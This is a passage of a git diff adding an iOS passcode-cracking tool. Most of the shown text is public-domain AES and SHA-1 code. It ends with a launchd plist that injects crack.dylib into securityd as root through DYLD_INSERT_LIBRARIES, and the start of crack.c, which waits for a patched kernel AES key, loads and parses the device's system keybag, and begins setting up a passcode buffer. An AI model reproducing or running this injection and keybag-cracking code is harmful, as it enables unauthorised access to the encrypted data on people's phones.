^ + rk[7]; + + rk += 8; + if (--r == 0) { + break; + } + + s0 = + Te0[(t0 >> 24) ] ^ + Te1[(t1 >> 16) & 0xff] ^ + Te2[(t2 >> 8) & 0xff] ^ + Te3[(t3 ) & 0xff] ^ + rk[0]; + s1 = + Te0[(t1 >> 24) ] ^ + Te1[(t2 >> 16) & 0xff] ^ + Te2[(t3 >> 8) & 0xff] ^ + Te3[(t0 ) & 0xff] ^ + rk[1]; + s2 = + Te0[(t2 >> 24) ] ^ + Te1[(t3 >> 16) & 0xff] ^ + Te2[(t0 >> 8) & 0xff] ^ + Te3[(t1 ) & 0xff] ^ + rk[2]; + s3 = + Te0[(t3 >> 24) ] ^ + Te1[(t0 >> 16) & 0xff] ^ + Te2[(t1 >> 8) & 0xff] ^ + Te3[(t2 ) & 0xff] ^ + rk[3]; + } +#endif /* ?FULL_UNROLL */ + /* + * apply last round and + * map cipher state to byte array block: + */ + s0 = + (Te4[(t0 >> 24) ] & 0xff000000) ^ + (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t3 ) & 0xff] & 0x000000ff) ^ + rk[0]; + PUTU32(ct , s0); + s1 = + (Te4[(t1 >> 24) ] & 0xff000000) ^ + (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t0 ) & 0xff] & 0x000000ff) ^ + rk[1]; + PUTU32(ct + 4, s1); + s2 = + (Te4[(t2 >> 24) ] & 0xff000000) ^ + (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t1 ) & 0xff] & 0x000000ff) ^ + rk[2]; + PUTU32(ct + 8, s2); + s3 = + (Te4[(t3 >> 24) ] & 0xff000000) ^ + (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t2 ) & 0xff] & 0x000000ff) ^ + rk[3]; + PUTU32(ct + 12, s3); +} + +static void +rijndaelDecrypt(const u32 rk[/*4*(Nr + 1)*/], int Nr, const u8 ct[16], + u8 pt[16]) +{ + u32 s0, s1, s2, s3, t0, t1, t2, t3; +#ifndef FULL_UNROLL + int r; +#endif /* ?FULL_UNROLL */ + + /* + * map byte array block to cipher state + * and add initial round key: + */ + s0 = GETU32(ct ) ^ rk[0]; + s1 = GETU32(ct + 4) ^ rk[1]; + s2 = GETU32(ct + 8) ^ rk[2]; + s3 = GETU32(ct + 12) ^ rk[3]; +#ifdef FULL_UNROLL + /* round 1: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[ 4]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[ 5]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[ 6]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[ 7]; + /* round 2: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[ 8]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[ 9]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[10]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[11]; + /* round 3: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[12]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[13]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[14]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[15]; + /* round 4: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[16]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[17]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[18]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[19]; + /* round 5: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[20]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[21]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[22]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[23]; + /* round 6: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[24]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[25]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[26]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[27]; + /* round 7: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[28]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[29]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[30]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[31]; + /* round 8: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[32]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[33]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[34]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[35]; + /* round 9: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[36]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[37]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[38]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[39]; + if (Nr > 10) { + /* round 10: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[40]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[41]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[42]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[43]; + /* round 11: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[44]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[45]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[46]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[47]; + if (Nr > 12) { + /* round 12: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[48]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[49]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[50]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[51]; + /* round 13: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[52]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[53]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[54]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[55]; + } + } + rk += Nr << 2; +#else /* !FULL_UNROLL */ + /* + * Nr - 1 full rounds: + */ + r = Nr >> 1; + for (;;) { + t0 = + Td0[(s0 >> 24) ] ^ + Td1[(s3 >> 16) & 0xff] ^ + Td2[(s2 >> 8) & 0xff] ^ + Td3[(s1 ) & 0xff] ^ + rk[4]; + t1 = + Td0[(s1 >> 24) ] ^ + Td1[(s0 >> 16) & 0xff] ^ + Td2[(s3 >> 8) & 0xff] ^ + Td3[(s2 ) & 0xff] ^ + rk[5]; + t2 = + Td0[(s2 >> 24) ] ^ + Td1[(s1 >> 16) & 0xff] ^ + Td2[(s0 >> 8) & 0xff] ^ + Td3[(s3 ) & 0xff] ^ + rk[6]; + t3 = + Td0[(s3 >> 24) ] ^ + Td1[(s2 >> 16) & 0xff] ^ + Td2[(s1 >> 8) & 0xff] ^ + Td3[(s0 ) & 0xff] ^ + rk[7]; + + rk += 8; + if (--r == 0) { + break; + } + + s0 = + Td0[(t0 >> 24) ] ^ + Td1[(t3 >> 16) & 0xff] ^ + Td2[(t2 >> 8) & 0xff] ^ + Td3[(t1 ) & 0xff] ^ + rk[0]; + s1 = + Td0[(t1 >> 24) ] ^ + Td1[(t0 >> 16) & 0xff] ^ + Td2[(t3 >> 8) & 0xff] ^ + Td3[(t2 ) & 0xff] ^ + rk[1]; + s2 = + Td0[(t2 >> 24) ] ^ + Td1[(t1 >> 16) & 0xff] ^ + Td2[(t0 >> 8) & 0xff] ^ + Td3[(t3 ) & 0xff] ^ + rk[2]; + s3 = + Td0[(t3 >> 24) ] ^ + Td1[(t2 >> 16) & 0xff] ^ + Td2[(t1 >> 8) & 0xff] ^ + Td3[(t0 ) & 0xff] ^ + rk[3]; + } +#endif /* ?FULL_UNROLL */ + /* + * apply last round and + * map cipher state to byte array block: + */ + s0 = + (Td4[(t0 >> 24) ] & 0xff000000) ^ + (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t1 ) & 0xff] & 0x000000ff) ^ + rk[0]; + PUTU32(pt , s0); + s1 = + (Td4[(t1 >> 24) ] & 0xff000000) ^ + (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t2 ) & 0xff] & 0x000000ff) ^ + rk[1]; + PUTU32(pt + 4, s1); + s2 = + (Td4[(t2 >> 24) ] & 0xff000000) ^ + (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t3 ) & 0xff] & 0x000000ff) ^ + rk[2]; + PUTU32(pt + 8, s2); + s3 = + (Td4[(t3 >> 24) ] & 0xff000000) ^ + (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t0 ) & 0xff] & 0x000000ff) ^ + rk[3]; + PUTU32(pt + 12, s3); +} + +/* setup key context for encryption only */ +int +rijndael_set_key_enc_only(rijndael_ctx *ctx, const u_char *key, int bits) +{ + int rounds; + + rounds = rijndaelKeySetupEnc(ctx->ek, key, bits); + if (rounds == 0) + return -1; + + ctx->Nr = rounds; + ctx->enc_only = 1; + + return 0; +} + +/* setup key context for both encryption and decryption */ +int +rijndael_set_key(rijndael_ctx *ctx, const u_char *key, int bits) +{ + int rounds; + + rounds = rijndaelKeySetupEnc(ctx->ek, key, bits); + if (rounds == 0) + return -1; + if (rijndaelKeySetupDec(ctx->dk, key, bits) != rounds) + return -1; + + ctx->Nr = rounds; + ctx->enc_only = 0; + + return 0; +} + +void +rijndael_decrypt(rijndael_ctx *ctx, const u_char *src, u_char *dst) +{ + rijndaelDecrypt(ctx->dk, ctx->Nr, src, dst); +} + +void +rijndael_encrypt(rijndael_ctx *ctx, const u_char *src, u_char *dst) +{ + rijndaelEncrypt(ctx->ek, ctx->Nr, src, dst); +} diff --git a/crack/crack/bsdcrypto/rijndael.h b/crack/crack/bsdcrypto/rijndael.h new file mode 100644 index 0000000..6adeed6 --- /dev/null +++ b/crack/crack/bsdcrypto/rijndael.h @@ -0,0 +1,59 @@ +/* $OpenBSD: rijndael.h,v 1.13 2008/06/09 07:49:45 djm Exp $ */ + +/** + * rijndael-alg-fst.h + * + * @version 3.0 (December 2000) + * + * Optimised ANSI C code for the Rijndael cipher (now AES) + * + * @author Vincent Rijmen + * @author Antoon Bosselaers + * @author Paulo Barreto + * + * This code is hereby placed in the public domain. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE + * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef __RIJNDAEL_H +#define __RIJNDAEL_H + +#define AES_MAXKEYBITS (256) +#define AES_MAXKEYBYTES (AES_MAXKEYBITS/8) +/* for 256-bit keys, fewer for less */ +#define AES_MAXROUNDS 14 + +typedef unsigned char u_char; +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; + +/* The structure for key information */ +typedef struct { + int enc_only; /* context contains only encrypt schedule */ + int Nr; /* key-length-dependent number of rounds */ + u32 ek[4*(AES_MAXROUNDS + 1)]; /* encrypt key schedule */ + u32 dk[4*(AES_MAXROUNDS + 1)]; /* decrypt key schedule */ +} rijndael_ctx; + +int rijndael_set_key(rijndael_ctx *, const u_char *, int); +int rijndael_set_key_enc_only(rijndael_ctx *, const u_char *, int); +void rijndael_decrypt(rijndael_ctx *, const u_char *, u_char *); +void rijndael_encrypt(rijndael_ctx *, const u_char *, u_char *); + +int rijndaelKeySetupEnc(unsigned int [], const unsigned char [], int); +int rijndaelKeySetupDec(unsigned int [], const unsigned char [], int); +void rijndaelEncrypt(const unsigned int [], int, const unsigned char [], + unsigned char []); + +#endif /* __RIJNDAEL_H */ diff --git a/crack/crack/bsdcrypto/sha1.c b/crack/crack/bsdcrypto/sha1.c new file mode 100644 index 0000000..f07e92b --- /dev/null +++ b/crack/crack/bsdcrypto/sha1.c @@ -0,0 +1,178 @@ +/* $OpenBSD: sha1.c,v 1.9 2011/01/11 15:50:40 deraadt Exp $ */ + +/* + * SHA-1 in C + * By Steve Reid + * 100% Public Domain + * + * Test Vectors (from FIPS PUB 180-1) + * "abc" + * A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D + * "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" + * 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1 + * A million repetitions of "a" + * 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F +*/ + +/* #define LITTLE_ENDIAN * This should be #define'd already, if true. */ +/* #define SHA1HANDSOFF * Copies data before messing with it. */ + +#define SHA1HANDSOFF + +#include +#include + +#include "sha1.h" + +#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) + +/* blk0() and blk() perform the initial expand. */ +/* I got the idea of expanding during the round function from SSLeay */ +#if BYTE_ORDER == LITTLE_ENDIAN +#define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \ + |(rol(block->l[i],8)&0x00FF00FF)) +#else +#define blk0(i) block->l[i] +#endif +#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \ + ^block->l[(i+2)&15]^block->l[i&15],1)) + +/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */ +#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5);w=rol(w,30); +#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30); +#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30); +#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30); +#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30); + +/* Hash a single 512-bit block. This is the core of the algorithm. */ + +void +SHA1Transform(u_int32_t state[5], const unsigned char buffer[SHA1_BLOCK_LENGTH]) +{ + u_int32_t a, b, c, d, e; + typedef union { + unsigned char c[64]; + unsigned int l[16]; + } CHAR64LONG16; + CHAR64LONG16* block; +#ifdef SHA1HANDSOFF + unsigned char workspace[SHA1_BLOCK_LENGTH]; + + block = (CHAR64LONG16 *)workspace; + bcopy(buffer, block, SHA1_BLOCK_LENGTH); +#else + block = (CHAR64LONG16 *)buffer; +#endif + /* Copy context->state[] to working vars */ + a = state[0]; + b = state[1]; + c = state[2]; + d = state[3]; + e = state[4]; + + /* 4 rounds of 20 operations each. Loop unrolled. */ + R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3); + R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7); + R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11); + R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15); + R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19); + R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23); + R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27); + R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31); + R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35); + R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39); + R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43); + R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47); + R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51); + R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55); + R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59); + R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63); + R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67); + R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71); + R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75); + R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79); + + /* Add the working vars back into context.state[] */ + state[0] += a; + state[1] += b; + state[2] += c; + state[3] += d; + state[4] += e; + /* Wipe variables */ + a = b = c = d = e = 0; +} + + +/* SHA1Init - Initialize new context */ + +void +SHA1Init(SHA1_CTX *context) +{ + /* SHA1 initialization constants */ + context->count = 0; + context->state[0] = 0x67452301; + context->state[1] = 0xEFCDAB89; + context->state[2] = 0x98BADCFE; + context->state[3] = 0x10325476; + context->state[4] = 0xC3D2E1F0; +} + + +/* Run your data through this. */ + +void +SHA1Update(SHA1_CTX *context, const unsigned char *data, unsigned int len) +{ + unsigned int i; + unsigned int j; + + j = (u_int32_t)((context->count >> 3) & 63); + context->count += (len << 3); + if ((j + len) > 63) { + bcopy(data, &context->buffer[j], (i = 64 - j)); + SHA1Transform(context->state, context->buffer); + for ( ; i + 63 < len; i += 64) { + SHA1Transform(context->state, &data[i]); + } + j = 0; + } + else i = 0; + bcopy(&data[i], &context->buffer[j], len - i); +} + + +/* Add padding and return the message digest. */ + +void +SHA1Final(unsigned char digest[SHA1_DIGEST_LENGTH], SHA1_CTX *context) +{ + unsigned int i; + unsigned char finalcount[8]; + + for (i = 0; i < 8; i++) { + finalcount[i] = (unsigned char)((context->count >> + ((7 - (i & 7)) * 8)) & 255); /* Endian independent */ + } + SHA1Update(context, (unsigned char *)"\200", 1); + while ((context->count & 504) != 448) { + SHA1Update(context, (unsigned char *)"\0", 1); + } + SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */ + + if (digest) + for (i = 0; i < SHA1_DIGEST_LENGTH; i++) { + digest[i] = (unsigned char)((context->state[i >> 2] >> + ((3 - (i & 3)) * 8)) & 255); + } + bzero(&finalcount, 8); +#if 0 /* We want to use this for "keyfill" */ + /* Wipe variables */ + i = 0; + bzero(context->buffer, 64); + bzero(context->state, 20); + bzero(context->count, 8); +#ifdef SHA1HANDSOFF /* make SHA1Transform overwrite its own static vars */ + SHA1Transform(context->state, context->buffer); +#endif +#endif +} diff --git a/crack/crack/bsdcrypto/sha1.h b/crack/crack/bsdcrypto/sha1.h new file mode 100644 index 0000000..ee31467 --- /dev/null +++ b/crack/crack/bsdcrypto/sha1.h @@ -0,0 +1,26 @@ +/* $OpenBSD: sha1.h,v 1.5 2007/09/10 22:19:42 henric Exp $ */ + +/* + * SHA-1 in C + * By Steve Reid + * 100% Public Domain + */ + +#ifndef _SHA1_H_ +#define _SHA1_H_ + +#define SHA1_BLOCK_LENGTH 64 +#define SHA1_DIGEST_LENGTH 20 + +typedef struct { + u_int32_t state[5]; + u_int64_t count; + unsigned char buffer[SHA1_BLOCK_LENGTH]; +} SHA1_CTX; + +void SHA1Init(SHA1_CTX * context); +void SHA1Transform(u_int32_t state[5], const unsigned char buffer[SHA1_BLOCK_LENGTH]); +void SHA1Update(SHA1_CTX *context, const unsigned char *data, unsigned int len); +void SHA1Final(unsigned char digest[SHA1_DIGEST_LENGTH], SHA1_CTX *context); + +#endif /* _SHA1_H_ */ diff --git a/crack/crack/com.sudo-sec.crack.plist b/crack/crack/com.sudo-sec.crack.plist new file mode 100644 index 0000000..ef2c4c3 --- /dev/null +++ b/crack/crack/com.sudo-sec.crack.plist @@ -0,0 +1,23 @@ + + + + + KeepAlive + + EnvironmentVariables + + DYLD_INSERT_LIBRARIES + /Developer/crack.dylib + + Label + com.sudo-sec.crack + ProgramArguments + + /usr/libexec/securityd + + UserName + root + RunAtLoad + + + diff --git a/crack/crack/crack.c b/crack/crack/crack.c new file mode 100644 index 0000000..4403282 --- /dev/null +++ b/crack/crack/crack.c @@ -0,0 +1,219 @@ +// +// main.c +// crack +// +// Created by Joshua Hill on 1/16/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. + +#include +#include +#include + +#include "IOKit.h" +#include "AppleKeyStore.h" +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include + +#include "util.h" +#include "registry.h" +#include "device_info.h" +#include "ioflash/ioflash.h" +#include "bsdcrypto/rijndael.h" +#include "bsdcrypto/key_wrap.h" + +void crack_enter(void) __attribute__((constructor)); +void crack_leave(void) __attribute__((destructor)); + +// This program needs to run after kernel has been patched but can run +// synchronously while data is being dumped to save time? +void crack_enter() { + syslog(LOG_ERR, "++[CRACK]++ Entering crack.dylib"); + + + // Make sure and/or wait until kernel has been patched + uint8_t* key835 = NULL; + do { + sleep(5); + key835 = IOAES_key835(); + syslog(LOG_ERR, "++[CRACK]++ Checking if AES has been patched yet..."); + } while(memcmp(key835, "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01", 16) == 0); + syslog(LOG_ERR, "++[CRACK]++ IOAES has been patched"); + + syslog(LOG_ERR, "++[CRACK]++ Asking AppleKeyStore to load the system keybag"); + CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag"); + if (kbdict == NULL) { + syslog(LOG_ERR, "++[CRACK]++ FAILed to load keybag\n"); + return; + } + syslog(LOG_ERR, "++[CRACK]++ Successfully loaded keybag\n"); + + syslog(LOG_ERR, "++[CRACK]++ Getting keys from system keybag"); + CFDataRef kbkeys = CFDictionaryGetValue(kbdict, CFSTR("KeyBagKeys")); + CFRetain(kbkeys); + if (kbkeys == NULL) { + syslog(LOG_ERR, "++[CRACK]++ FAIL: KeyBagKeys not found\n"); + return; + } + syslog(LOG_ERR, "++[CRACK]++ Got keys from system keybag\n"); + + syslog(LOG_ERR, "++[CRACK]++ Asking AppleKeyStore to parse our keybag blobs"); + KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys); + if (kb == NULL) { + syslog(LOG_ERR, "++[CRACK]++ FAIL: AppleKeyStore_parseBinaryKeyBag\n"); + return; + } + + int i = 0; + char* passcode = (char*) malloc(6); + memset(passcode, 0, 6); + + 